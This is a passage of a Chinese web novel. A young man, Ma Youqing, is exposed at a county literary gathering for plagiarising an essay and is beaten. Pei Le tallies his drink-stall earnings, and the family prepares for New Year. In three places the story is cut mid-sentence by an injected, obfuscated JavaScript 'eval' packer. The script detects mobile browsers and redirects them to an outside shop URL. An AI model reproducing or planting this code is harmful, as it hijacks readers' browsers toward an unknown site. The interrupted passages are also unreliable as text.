铺子的生意要好些,不过几乎没有文人去吃,估计是怕喝完肉汤嘴里有味。 往山上去的驴车马车逐渐多起来,裴乐又来了生意。 来光顾的都是文人雅士,今日齐聚一堂,更是端着面子,走到摊子前便会直接给钱说明要什么。 偶有爱念诗的,会把他木板上写的诗念出来,问他知不知道作者是谁。 幸好裴乐来之前特意记过,都能答得上来。 约摸过了大半个时辰,裴乐准备的饮子就全卖光了。 事情比想象中还要顺利,裴乐十分兴奋,说要请裴伯远吃肘子。 * 另一边 单家的马车只行驶到半山腰就停下,两人下车,车夫赶着车离开。 并不是马车不能上山,而是孙夫子要求他们在半山腰凉亭等候,等到夫子后再一同上山,以免找错了地方,或者冲撞贵人。 其他私塾的夫子也都是差不多操作,因此凉亭的人不少。 等了约摸一刻钟,孙广集到达,三人一同上山。 丘山不大,但树木良多,道路曲折,若非有官府竖的木牌子,还真容易迷路。 到了雅集地点后,视野广阔起来,入目全是一排排桌椅,以及桌面上的点心瓜果。 衙役验明三人身份,又特意交代:“雅集不是胡闹的地方,还请诸位恪守规矩,在规定的范围内活动,不要乱跑,免得你我难办。” 孙广集应声说知道了,领着两名学生去往规定的区域。 由于此次雅集官员、举人、秀才、白身齐聚一堂,所以官府严格划分了区域,每种身份的人上午只能在自己区域内活动交流,待到午时,才能前往相邻区域。 也就是说,像程立这种没有功名的人,上午只能和没有功名的人交流,下午则可以去向秀才请教。 若想向举人请教,那就只能等雅集结束,看举人认不认识他了。 单行去年就来过,也是同样的规矩。待孙夫子走后,他驾轻就熟地拉着程立找座位坐下。 周围渐渐坐满了,都是一样的白身学生,大家说起话来倒也热闹,没什么紧张感。 巳时,县令大人准时抵达,众人肃静下来。县令站到高处,说了一番勉励的话,程立坐得远,几乎没听见。 县令讲完话下来后,又恢复自由交流。 程立耳边聒噪起来,有人讲文章诗词,有人抱怨雅集寒酸,给举人准备新鲜水果点心,给他们就是瓜子凉茶。 “小兄弟,你怎么一直不说话,可是感到不适?”有热心肠的注意到他。 “腹中确有些不适。”程立答说。 热心肠指路道:“从这里出去,顺着那条路一直走,有临时茅厕。” 程立并非真的不适,摇头道:“多谢兄台,我还能忍受。” 临时茅厕大多肮脏不堪,热心肠理解他不想去,就没再打扰他。 其他人也都听见了对话,自是同样不打扰。 巳时过半,前面涌起了一股躁动。 程立站起来。 马有庆在雅集附近盘旋许久,终于趁着衙役去茅厕的机会溜了进去,但还没等他窃喜,另一名衙役就发现了他。 “这里是举人老爷待的地方,你怎么跑到这里的,赶紧回自己位置。”高个衙役脾气挺好,将他当成了拿到雅集资格的学生。 看着衙役杵在面前,马有庆无意识后退一步,缩了缩脖子,但下一瞬,他余光瞥见一身朱袍的县令,想到自己的处境,一股勇气横生,他朝着县令跑了过去。 “县令大人!我父亲被蛇咬了,求您救救他吧!”马有庆一边跑一边喊,袖内一卷纸滑落,散在地上。 与此同时,高个衙役追上来,连同附近的衙役将他按倒在地上。 一名穿着黑衣挎着刀的汉子走过来,衙役纷纷喊“刑曹大人”。 刑曹俯身将纸张捡起来,示意衙役将人拉远,免得吵到别人。 实际马有庆的勇气已经用尽,不敢喊了。 衙役将马有庆押到远离官员举子的地方,恰好离没功名的学子们比较近,程立能看见。 刑曹问:“你爹被蛇咬了,你为何不去找郎中,而来闯雅集?” “我……找不到郎中。” “这纸上的文章是你写的?”刑曹又问。 马有庆连忙点头:“是学生写的。” 刑曹将纸递给旁边穿着绸缎的微胖男人:“赵举人看看。” 赵举人看完两页,赞叹道:“妙啊,这文章结构严密、一气呵成,堪称巧夺天工。” “真的吗,学生写的真有这么好?”马有庆险些压不住嘴角。 “赵举人都这样说了,自然是好,你叫什么名字,在哪里念书,住在哪里?有这般文采何苦闯雅集呢?”刑曹语气忽然温和下来。 马有庆心中大喜,连忙报出籍贯姓名,以及所念私塾。 又说家里贫穷,父亲是带着他上山采山货才被蛇咬伤。 “不错不错,口齿伶俐,可见头脑清明,没有疯病。”刑曹说罢,突然一脚踹在马有庆肚子上。 这一脚很重,若不是有两名衙役拉着,马有庆必定会被踹飞。 一时间,马有庆只觉得肚内肠子都被搅乱了,痛不欲生:“大人……” 赵举人道:“这篇秋收赋,原名农赋,乃是我那一届解元公所做,你只不过改动几个字,就敢声称是自己的作品,实属蛆虫败类!不配读书!” 如同五雷轰顶,马有庆万万没想到竟是这样的结果,下意识改口道:“这不是我写的,是我抄别人的,是、是程立写的!” “当然是你抄的,只不过我那一届解元公名字不叫程立。” “我是说我抄程立的,是程立抄袭!” 见刑曹又有动手的意向,马有庆又喊道:“夫子也参与了,是我们夫子让程立抄的!” “我们夫子……夫子叫孙广集。” 他脑子已有些混乱,想到什么说什么,只想把程立也拉下水。 他明明就是抄程立的,若有问题,程立就该受罚! 刑曹嫌吵,命人将马有庆拖下去:“照老规矩。” 老规矩便是打断腿,去年也有人闯雅集,也是一样处理。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16445439|185081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刑曹又命人将孙广集和程立找来。 衙役简单说了一遍方才发生的事。 孙广集惊出一身冷汗:“马有庆的确是我私塾里的学生,但我从未教任何人抄袭。” “大人,这是个误会。”程立语气冷静解释道,“我的确将农赋抄写了一遍,但也仅仅是抄写,并非抄袭,至于将名字改为秋收赋,那是因为抄写时我的未婚夫郎就在一旁,他说秋收场景写得好,我为了讨他欢心,这才冒昧改了名字,想着只是自己看,些微修改无关紧要,没想到会被人盗走,从而引发事端。” 他从袖中拿出准备好的文章,双手呈上:“这才是我用来参加雅集的文章。” 这篇文章不长,只用了两页纸,赵举人很快看完,眼里流露出几分欣赏:“不错,若这篇文章当真是你自己所写,我相信你不是欺世盗名之辈。” “多谢赵老爷夸奖。”程立忙颔首谢道。 刑曹也看了一遍,态度却还是冷漠:“我们找你过来只是问问情况,并非认定你抄袭,既然没有抄,你回去吧。” 程立接回自己的文章,走回活动区域。 孙广集挨了几句训,回到秀才区域。 交好的友人问他什么情况,他捡着能说的说了,心里泛起几分难辨的情绪。 午时的钟声刚刚响完,程立便去了秀才区域,找到孙夫子认错。 “你又没有抄袭,何错之有。”孙广集重新打量着自己新招收的学生。 程立道:“我不该改名字,若我不改,兴许马有庆便能认出来,不犯错。” “他错在己身,与你无干。”孙广集抬手,“你自去活动,别再来烦我。” “孙夫子就是这样。”待走远些后,单行低声劝慰道,“只要按时交钱,他什么样的学生都收,对学生几乎只罚不开除。” “但他学问很好,人也挺好的,你日后若是有什么疑惑去问他,他还是会为你开解。” 程立早在定下计谋时,便已料到今日的结果,他笑笑道:“单兄,我不难受,你不用安慰我。” “我看你像是有心事。” “我只是在想,不知我未婚夫郎的饮子卖得如何了。” * 申时 雅集结束,大家陆续离开。 程立仍旧坐着单家的马车下山,在山下摆摊的位置与裴家兄弟会和。 “雅集怎么样,热闹吗,有没有看见县令大人?”裴乐看见他便问。 听哥儿语气轻松,程立就知道饮子一定卖得不错,他笑着回道:“雅集非常热闹,人很多,但县令大人坐得太远了,我没有看清楚长什么样。” 裴乐闻言有点失望:“我还以为你们可以和县令说话呢。” “参加雅集的人太多了,若个个都能和县令说话,场面会过于混乱。”程立能理解划分区域。 “这倒也是。”裴乐语气再度轻快,“你猜我的饮子卖了多少钱。” 程立想了想:“四钱?” “五钱。”也就是五百文。 申时还不到太阳下山的时候,阳光透过树叶落在哥儿脸上、眼睛里,很是活泼好看。 程立挪开视线,由衷道:“你很厉害。” “也有你的功劳。”裴乐论功行赏,“如果没有你帮我写字写诗,不会有那么多人来买我的饮子,等回家我分你一些钱。” 一边说着,他一边上了牛车,程立跟着上去,两人并排坐好。 裴伯远赶车,等牛车行驶平稳起来,裴乐又开口:“你们在雅集吃的怎么样,晌午有肉吗?” 程立摇了摇头:“晌午没有饭。” “啊?”裴乐大惊,“晌午就让你们饿着吗?” 程立道:“山上有瓜子水果,可以垫垫肚子。” 连饭都没得吃,居然这么可怜。 裴乐看着旁边人细瘦的手腕,心想县令考虑也太不周全了。 正好街边有卖包子饼子的,他便让大哥停车,下去买了两个肉包子。 “你先垫垫肚子,等回到家再吃好的。” 他晌午要请裴伯远吃肘子,但裴伯远舍不得独享,于是裴乐打包了两个酱肘子,准备回家一起吃。 23. 分钱 酱肘子炖得软烂,油纸一撕开,诱人的香味便扑面而来。 石头吸了吸鼻子:“好香啊。” 肘子是一整个没让切开,否则不好带,另外老板还送了卤汁,用竹筒装着,因为只装了半筒,一路的道路还算平稳,并没有洒出来。 眼见小孙子的鼻子都要凑上去了,周夫郎把肘子拿起来:“等饭蒸好了再吃。” 石头表情瞬间变得失望,眼睛还是一错不错地盯着肘子。 周夫郎觉得好笑,怕他偷吃,直接把肘子拿进厨房了。 裴乐也馋,但他更多的心思放在金钱上,拎着钱袋进了自己房间。 今天没事做的时候他已经在心里计算过一遍又一遍了,答案很明晰,但他还是怕算错或者以后忘记,又在沙盘上写式子算了一遍。 确定都没错后,才往纸上记账。 ——他见大哥每回接了活儿,都会用纸记下来,那么如今他做生意也该记录。 蜜糖买了三斤共一百二十文;姜是自家种的,按市价算钱一斤二十文;红枣一斤十五文。 饼茶一块一两银,药材只买了二两,花费二百文,陈皮一两五文,山茱萸二两十文。 柴若干从家里拿的,竹子也是自家的。 当然,以上是他购入的成本,今天只用了部分材料。 姜枣茶一筒不算竹筒和柴火费用,成本大概三文多。煎茶除茶饼外,其它都用光了,一筒成本三文。 但煎茶费事儿,因此卖得比较贵。 今日卖了三十筒煎茶和二十四筒姜枣茶,头一位减免六文,给程立减了两文,因此最终是五百零八文。 自家喝了些茶,不算竹筒柴火,今天成本加在一起是一百八十四文。 挣得三百二十四文。 晌午吃饭花二十文,还有三百零四文。 竹筒、柴火都是家里出的,一起弄的,牛车也是家里的,大哥还帮忙了,所以应往家里多交一些。 裴乐打算交六成,也就是一百八十二文。 自己得一百二十二文。 但他给家里买了两个酱肘子,花费八十文,剩四十二文。 还给程立买了两个肉包子,花四文。 剩三十八。 结果和自己心算的一样,裴乐越算,眼睛就越亮。 今天真的挣了好多,即便买了酱肘子,他也还有三十八,一个壮劳力一天也就挣三五十文。 这也太赚了吧! 裴乐激动地站起来蹦了两下。 不过他很快又冷静下来,知道今日是雅集,平常不可能卖这么多这么顺利。 但一日只要能卖出去一二十份,这生意对他来说就能做下去。 “账本”收好,裴乐拿着毛笔出去清洗,看见程立在檐下跟朱红英说话,忽然想起——他还没有给程立分钱。 洗完毛笔,他折回去取了两份钱,一份一百八十二文,交给周夫郎,另一份五十文,给程立。 “这么多?”程立很意外。 裴乐道:“只给你分这一次,以后再卖饮子就不给你分了。” “只分一次也用不了这么多,我抄书一卷才一百五十文。”程立拆开麻绳,只取了十枚,“你是我的未婚夫郎,我更应当降价。” 要是换做以往,听对方说什么“未婚夫郎”,裴乐是要生气的。 但这次不知道为什么,裴乐并未觉得气恼。 “只是降价吗,我还以为你会不收钱。” 程立一顿,将十枚钱穿回去:“帮未婚夫郎做事,我当然可以不收。” 又听见“未婚夫郎”,这回裴乐抿了抿唇,低声道:“你还是收了吧,亲兄弟还要明算账呢。” 说罢,裴乐快步离开了。 程立拎着五十枚铜钱,原地站了一会儿,心情愉悦地回屋。 晚饭因为有酱肘子,一家子全都吃得满足,裴乐比平日里多喝了半碗粥,饭后便出门走路消食。 程立和他一起。 天冷了,傍晚坐在树下闲谈的老人却并没有减少,他们大多因为太老做不动事,只能说些村里零碎,彼此交换信息取乐。 裴乐路过时,听见了“马家”“叫得可惨了”和几个模糊的字词。 马家怎么了? 裴乐正想着,就看见蔡郎中从马有庆家里出来。 难道是马有庆出事了? 似乎看出他在想什么,程立忽然出声:“乐哥儿,有一件事我忘了和你说。” “什么事?” “今日马有庆擅闯雅集,被官兵当场捉拿,打断了腿。” “真的吗?”乍闻喜事,裴乐双眸发亮,难掩兴奋。 程立点头:“很多人都看见了,你若是不信,可以去他家里看看。” “我当然相信你。”裴乐说完,又感到疑惑,“不过他闯雅集干什么。” 程立参加了雅集,并没有得到什么好处啊。 “他没有参加过雅集,道听途说,以为有一飞冲天的机会。”程立顿了顿,“所以他偷了我抄的文章,想闯进去见县令。” “偷了你抄的文章?”裴乐越发听不懂了。 程立解释说:“他以为是我自己写的,但实际上是我找同窗借书,从书上抄下来的。” “那他是自作自受。”裴乐当即断案。 程立笑道:“是,他自作自受,刑曹大人认出他抄袭,已将他的名字籍贯记录下来,明日夫子应当会将他开除。” “那太好了。”裴乐更高兴了,“我明儿要再买个肘子庆祝。” 轻快地往前迈了两步,裴乐又看向旁边人:“虽然刑曹大人惩罚了他,但你辛苦抄的文章肯定拿不回来了,等下次我见了他,狠狠打他一顿给你出气。” 一码归一码,刑曹的惩处是针对马有庆闯雅集和抄袭。裴乐要执行的,是马有庆偷盗的惩罚。 没想到裴乐会说出这样一番话,程立一时间心绪纷杂,半天才回了个“好”字。 走回去的路上,程立跟哥儿讲了马有庆是如何“道听途说”的。 又讲了孝士杰真正的故事。 孝士杰是穷学生不假,但他在私塾念书时成绩便拔尖,私塾夫子贪财,看他家里没钱,所以不给他参加雅集的资格。 孝士 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16445440|185081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 杰也没有闯雅集,他是上山采药,结果在山上跌了一跤摔晕了,被带领着一众文人游山观光的县令发现并救治。他醒后表现不卑不亢,谈吐不凡,县令考察他的文采,发现他是个可造之材,又查清私塾龌龊,才准许他进书院免费读书三年。 三年时间,孝士杰夜以继日地读书,不仅顺利考上秀才,还考上了举人,成为一时佳话。 可惜他年少沉疴,天妒英才,没过几年好日子便去世了。 裴乐听完后,想到程立身体也不好,尤其刚来那会儿特别差,下地干活没多久就中暑了。 他不由得嘱咐道:“你也要注意身体,若是身体毁了,考取再高的功名也没用。” “谢谢哥哥关心,我会注意的。”程立望着他笑说。 小书生瞳孔偏黑,眼眸本就显得亮,笑起来时更是好看,长得又白,让裴乐无端想到戏折子里诱惑和尚的小狐狸精。 他此刻就是那个和尚,程立肯定是故意蛊惑他。 想从他身上牟利。 裴乐告诫自己不要上当,快步踏进大门,往自己房间走了。 * 棉被包在桶上实在费力,桶要装茶水,还要往锅里放,每次都要重新包。 裴乐在镇上出摊了两次,就受不了这等麻烦了。 他想了个法子。 “我要三个比这种桶大一圈的木桶,要结实。”裴乐对三哥仔细说需求,“我打算在大木桶里放上足量的稻草和棉絮还有木炭,想办法把它们粘在桶壁上,这样就是一个保温桶,然后小木桶可以正好放进去,这样的大小。” 裴叔良听明白了:“行,这不难,我先做你的。” “谢谢三哥!” 裴叔良笑道:“你这个主意不错,若当真好用,我再做多几个小的,将陶罐放进去,如此冬日也能喝到热水了。” “好啊,到时候你送我一个。”裴乐毫不客气地索要,又说,“三哥,我的木桶盖子上也要做设计。” 他从袖中掏出一张纸:“我画工不好,你将就着看,就是……” 他想要那种可以只打开中间一部分的桶盖,这样热气会散得比较少,能多保温一段时间。 “可以。”裴叔良看完后道,“你这想法倒是巧妙,字也写的比以前好看多了。” 裴乐弯唇:“那当然,我昨天还在练字呢。” “有个念书的未婚夫就是不一样。”裴叔良感叹,“以后我也得给星儿找个读书人。” 闻言,裴乐坐下喝茶,说道:“读书人也不一定好,马有庆就很烂。” 马有庆没有去私塾,但孙广集亲自来了一趟,告知马家,马有庆被私塾除名了。 不止如此,因为马有庆擅闯雅集,被官府记过,其它私塾也不敢招收。 媒婆原本给马家说了门亲事,刘夫郎嫌弃那哥儿长得不好看,结果断腿之后,刘夫郎又提着礼品去找那家人说亲事。 但人家又不是傻子,先前被瞧不起,今时不同往日,自然给拒了。 刘夫郎不服气,站在门口骂人,结果被泼了一身粪。 如今马家已是村里的笑柄。 24. 年前 大东村山上有一种胶树,树汁是天然胶水。拿到定制的木桶后,裴乐便去山上弄了些树汁,将保温桶做好。 次日再出摊,果然方便了很多。 没过多久定制的铁锅做好,能够一次煮一桶茶,裴乐更加省力了。 他如今不止卖两种茶,还卖米酒圆子,和姜枣茶一个价,一碗六文,用竹筒就再加三文。 他和裴厚一同出摊,摆摊位置固定,有一张桌子几个凳子供人坐下喝茶歇息,随着天气逐渐寒冷,每日出售量逐渐稳定起来。 一天能卖三十份左右,但要竹筒的人比较少,若卖不完又不能留到第二天,临近过年各种东西也都在涨价,因此赚的钱远不如雅集当日。 但也不少了,去掉给家里的六成,每日自己还能得三十多文。 每天也就摆摊一个多时辰,虽然要提前一天准备材料,但这些活儿对他而言都很轻松,所以他还是很满意的。 雪花不知何时覆盖了大地,裴乐早上推开窗户,寒气袭来的同时,入目皆是白茫茫一片。 这是今年的第一场雪,没想到来得这么晚,后天就是除夕了。 他伸手去接雪花,看着雪花在手心快速融化,亦或是落在衣袖上展示美丽,唇角不自觉扬了起来。 临近过年,街上人少,家里事又多,所以他小年之后就不再出摊了。 但程立所在的私塾,今天才会放假。 又是一阵寒风吹过来,裴乐揉了一把脸,转身出房门。 今天轮到他和朱红英做早饭。 家里那头年猪被杀了,大部分肉卖出去,家里留了三十斤。 因为今年留的肉多,早上朱红英也切了几片肉,煎熟后每人碗里放一片。 吃完早饭,一家子都忙了起来,就连石头都被安排了扫地的活儿。 马上过年了,所以今天要把家里彻彻底底打扫一遍,还要包包子炸油馍,炸麻叶等零嘴,以免待客时手忙脚乱。 裴家还算讲究,平日里经常打扫,因此清理并没有太费劲儿。 裴向阳擦完自己屋子,出来时看见隔壁程立的屋子还锁着,喊道:“裴乐,你过来一下。” 裴乐捏完最后一个褶,放下包子,拍了拍手上的面粉跑过去:“怎么了大侄子?” “程立的房间,你看是你来打扫,还是等他回来自己干。” 裴乐想了想:“等他回来吧。” 程立的屋子不脏,他昨天才扫过地擦了桌子。 冬季白日短,又是一年结尾,因此私塾提前放学,申时院门就准时打开了。 程立提前收拾好了包袱,因此出来得很快,刚出院门就看见了裴乐。 他心头波动,踏着雪快步朝哥儿走去。 裴乐看见程立也感到高兴,不自觉弯了弯眼睛,伸手接过包袱,让程立上车。 他因为摆摊,驾车技术逐渐熟练,所以今天主动请缨一个人来接人。 也正因为一个人要看着牛车,他才没有进去接人。 “我要去南纸店买些东西。”程立没意识到自己眼里也有笑意,“你有什么要买的吗。” “帮我买一刀麻纸。”裴乐说着,低头撩开衣摆,去解腰上的钱袋。 等他解开,程立早就走了。 裴乐将牛车牵到南纸店门口,等了一会儿,就看见程立抱着厚厚的三叠纸走出来。 一叠是他的,另一叠是程立的,还有一叠是写春联用的红纸。 程立将纸放到车上,又折身往一个摊位走。 是个卖糖人的摊位,摊主手艺很好,离得很远,裴乐也能看出糖人的惟妙惟肖。 程立和摊主沟通几句,随后掏钱,拿着两个糖人走回来。 料到程立要给自己,裴乐心情很好地伸手去接,故意说:“两个都给我吗。” 程立只愣了一下,随即回道:“都给你。” “我只要一个就够了,另一个你吃吧。”裴乐选了一个麒麟的,把另一个老虎模样的还给程立,很体贴地说。 程立失笑,接过老虎:“另一个是给石头买的。” 裴乐要赶车,没办法一路上拿着吃,一下吃了定然舍不得,因此只能回家再吃。 他一个人吃,叫小孩眼巴巴看着不好,所以程立买了两个。 果然,裴乐很快就让他帮忙拿着麒麟,说路上不方便,到家再吃。 裴家的大门是敞开着的,裴乐直接将牛车赶进院子里,而后便发现院子里多了一辆马车。 堂屋里热热闹闹的,一阵说笑声传出来。 裴乐跳下车,一个穿黄衣的少女和一个穿蓝衣的少男从堂屋走了出来。 “小阿舅。”两人皆喊他。 这两个人是裴乐的二哥裴仲景的孩子,少女十六岁,叫陈明月,少男十四岁,陈明照。 ——裴仲景入赘到了云光镇陈家。 裴乐跟程立介绍了两人的身份,彼此打了招呼。 “早就听说三弟的未婚夫是个俊俏小郎君,如今一看果然不凡。”堂屋一道女声传出来,紧接着走出来一名妇人,是裴仲景的妻子陈芳。 陈家是做生意的,开了家不大不小的客栈,陈芳作为独生女,自是能言善道,礼数周全。 陈芳只有过年会来一趟,裴乐和她接触极少,不过印象还不错,又听见对方这样夸程立,心情自然更好。 程立颔首喊了声二嫂。 陈芳也笑着点了点头,又走回堂屋。 过年长工放假回家了,裴向阳过来卸车,裴乐将牛牵进牛棚,出来洗了洗手,这才从程立手中拿过糖人。 石头跑出去玩了,正好回来,看见他手里的糖人就来讨要。 “瞧你馋的,平时都没吃过什么好东西吧。” 裴乐正要逗逗侄孙,忽然听见一道熟悉男声。 是他二哥裴仲景。 裴仲景穿了一身深色棉袍,脖颈围着一圈皮毛,正笑着往他这边走。 “二爷爷。”石头喊人。 裴仲景弯下腰,伸手捏了捏石头的脸:“大半年不见,你又长高了,刚才跑哪玩去了?” 石头被捏得脸生疼,往后挣了一下,喊疼。 裴仲景松开手:“我都没用劲,你疼什么疼。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16445441|185081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>石头眼睛湿润,委屈地揉着脸:“就是疼。” “小孩子脸嫩,你怎么不揪自己的脸。”裴乐护着侄孙,不大高兴。 他把大老虎糖人递给石头,石头才转泪为笑。 “你这是什么语气,我觉得他可爱才摸他,要是别人家的娃子,我碰都不想碰。”裴仲景笑容收起来,又批评裴乐,“我都站这儿半天了,你也不知道喊声哥。” 裴乐不想跟他说话。 看陈家两个孩子的年龄就知道,裴乐出生时,裴仲景已经入赘出去了,故此两人并不亲近。 小时候裴乐也被裴仲景捏过脸,确实很疼,所以他方才那么生气。 “二哥。”程立喊了一声。 裴仲景本来就是在点程立,听见这小书生喊人了,脸色变好看些:“还是读书人懂事。” 裴乐暗暗翻了个白眼。 裴仲景不能说是个恶人,至少对他对裴家都没有做过什么恶事,但很爱摆派头,导致裴乐很不喜欢这个二哥。 “你领着石头去玩吧,我跟你未婚夫说几句话。”裴仲景又对裴乐说。 裴乐咬掉麒麟的一条腿,感受着嘴里的丝丝甜味,问道:“你们要说什么不能被我听见?” 裴仲景:“说学问上的事,你又不懂。” “不懂就不能听吗。”裴乐又问。 裴仲景不由得皱眉:“乐哥儿,你怎么回事,我想着自己好歹是个童生,好心想指点你未婚夫的学问,又不是要教他做坏事,你咋总想捣乱。” “是这样的。”程立开口道,“二哥,近来我一直在教乐哥儿识字念书,他如今看过很多书了,也想再涨涨学问。” “原来是这样,那乐哥儿一起来听吧。”裴仲景又加了一句,“不过你刚识字,估计我们说的你都听不懂。” 裴乐又咬掉麒麟的一条腿,有点不想去听了。 他怕裴仲景把“派头”带给程立,又不想去看对方摆派头。 矛盾了一会儿,他还是选择去听。 三人一起进了程立的屋子。 裴仲景打量一番,道:“屋子收拾得还算整洁。” 他捡起桌上的纸看了看:“字也还行,不知你们私塾教到哪本书了?” ——私塾的模式是今年四书明年五经后年算术,再一年又是四书,如此往复循环,保证学生只要有基础,从哪一年入学都可以。 “今年教算术,学到句股了。”程立看了一眼裴乐,随后打开书包,翻开书本,从中拿出一张纸,“正好我有一道题不会解,二哥是童生,想必比我厉害得多,能为我解惑。” 裴仲景对这话很受用:“拿给我看看。” 程立将纸递给他。 裴仲景坐下看了一会儿,皱着眉头又看了一会儿。 “二哥,你还没有看完吗,我都看完两遍了。”裴乐站在一旁出声。 裴仲景将视线从纸上移开,沉声道:“这道题是有些难,你这个年龄不用做这么难的题,先做简单的,做事要循序渐进,做题也是一样,不能好高骛远。” 说完,他起身,“我去老三家看看。” 25. 对联 裴仲景走后,裴乐终于忍不住笑了起来。 他还不到十三岁,两颊圆润,笑起来仿佛被镀了一层光,八分的颜色变成十分。 等笑够了,他走到程立旁边,拍拍对方肩膀:“想不到你如今学会算计人了。” 他很欣慰:“挺好的,就应该这样,免得在外面受欺负。” 程立眸色微深:“乐哥儿,你觉得我在外被人欺负?” “难道没有吗。”裴乐反问,“若是没有被人欺负,你又怎么会来我们家。” 这还是程立自己跟他说的,可怜兮兮地说自己没有地方可以去,说半夜有人偷抢东西,恳求他收留。 “还有,马有庆偷了你的文章,若不是刚好偷到抄写的那篇,你岂不是就要吃哑巴亏了。” “的确是这样。”听完他说的话,程立低下头道,“若没有你,若非我来到裴家,我在外定会受更多欺负。” 程立如今和裴乐一样高了,也没有刚来时那么消瘦,脸仍然很白,五官周正。 看着没有可怜样了。 但他语调诚恳,肩膀耷拉下去,还是很能博人同情。 裴乐下意识道:“那些日子都过去了,以后有我护着你,你在村里肯定不会受欺负,在私塾应当也不会,你成绩那么好,发生什么事只要告诉夫子,相信夫子会帮你主持公道的。” 想了想,又补充说:“若夫子不帮你,你就告诉我,我就跟大哥说,让他给你换个私塾。” “谢谢哥哥。”程立重新抬起头看着他,眸色又黑又亮,语气认真温柔。 裴乐不自觉抿了一下唇,语气同样认真:“你这样看着就很好欺负。” “……”程立敛了神色。 裴乐道:“不过不是你的问题,是欺负你的那些人不好。” 说罢,看见程立放在床上的包袱,裴乐往外走:“我不打扰你了,你快点收拾东西打扫屋子吧。” 从程立屋子出去,裴乐进了厨房。 今天二哥一家子来了,三哥一家子也过来吃团圆饭,人多,又是过年,要准备的饭菜就多。 忙忙碌碌近一个时辰,两张大桌子拼在一起,晚饭这就开始了。 陈芳解释了为何会今日过来,她想着两家离得远,每次拜年都匆匆忙忙的,不如年前来住两天,除夕再回去,算是提前拜年。 “没想到今日会下雪,路上车又坏了,修车修了半天,两厢耽搁,这才来晚了。” “来了就行。”裴厚道,“路上多耽搁没什么关系,只要人没事,安全就行。” 朱红英也点头说是。 裴仲景一家不常来,陈芳一年来一次,其他人一年来两三次,但也没有太过生疏,一顿饭吃得热闹。 家里原有两间空屋子,如今程立住进来就只剩下一间。 裴仲景的儿女都大了,一家四口自不可能住一间房,陈芳母女便去了裴叔良家住。 夜里开始化雪,气温不断下降,裴乐一大早就被冻醒。 他穿着旧棉鞋嫌冷,穿新的又舍不得,怕雪水毁鞋子,吃过早饭就窝在家里不出门。 他打算在屋里看书,但刚翻了一页,就听见院子里闹哄哄的,还有踢踏声,打开窗户一看,发现是裴向阳、裴向浩、陈明照还有石头四人在围着陈家那匹马。 陈明照牵着马头,裴向阳把石头抱了上去,小孩便高兴得拍手,随即去够缰绳,似想策马狂奔。 “你们小心点,别摔着石头。”朱红英在檐下烤火,提醒说。 “奶奶放心吧,我们这么多人看着呢。”裴向阳回道。 牵着马在院子里转了两圈,让石头过足了瘾,才换裴向浩骑上去。 陈明照也上马,两人骑着马跑出去了。 等他们在村里跑完一圈回来,裴乐忍不住从屋子里走出去,说道:“我也想骑马。” 马看着比牛和驴俊多了,而且戏折子里的将军总是骑着大马,让人无法不对骑马产生向往。 “小阿舅,来。”陈明照道,“我牵着马让你骑。” 裴乐如愿以偿上了马,果然马上视野开阔许多,豪气油然而生。 但马缰绳还在陈明照手里。 裴乐是个哥儿,两人都十几岁了,哪怕是亲戚也得避嫌,陈明照不能和他一起骑。 他们也不放心让他一个人骑马出去。 裴乐只能像石头似的,坐在马上,由旁人牵着马在院子里溜圈。 这对于四五岁的石头来说有意思,对他而言无趣极了,还不如骑牛呢。 坐了一圈他就下了马。 三个汉子仍旧闹哄哄地换着骑马。 裴乐回到自己屋子里,心想以后有钱了,一定要买一匹马,想怎么骑就怎么骑,谁也不能管他。 他脱鞋钻进被窝,拿起书本,刚翻开,又听见外头有人喊“程立”。 裴乐再度打开窗户,只见程立抱着厚厚一叠写对联的红纸走出屋门。 都是汉子,陈明照邀请道:“程立,你想不想骑马?” “我就不骑了。”程立婉拒道,“我要写对联。” 裴向阳道:“正好家里的对联还没买,你先帮家里写吧。” 程立正是这般想的。 不止要帮家里写,他还打算写对联赚点钱。 写对联的红纸,大的一副十文,小的一副五文,写好字的普通对联市价大的三十文,小的十八文。 听说他要写对联赚钱,裴向阳帮他把大桌子搬到了院子外面的大道旁。 得在外面写,叫人看见了,才会有人来买。 陈明照也在念书,但自觉字迹一般,不敢给家里写对联,更不敢卖。现如今看程立这般自信,便栓好马,跟出去看。 裴乐也戴上兔毛围脖,穿上厚衣裳跑出去看。 程立先写了一副小的,字迹流畅大气,每个字大小差不多,在裴乐看来不比那些大户人家门上的差。 不过大户人家不仅要看字迹,还要看寓意,需要写字的人现编对联,要求很高。 程立写的是一副常话“福满门庭春气暖,源清流远岁华新”,横批“喜迎新春”。 陈明照自愧不如:“你的字果然写的好。” 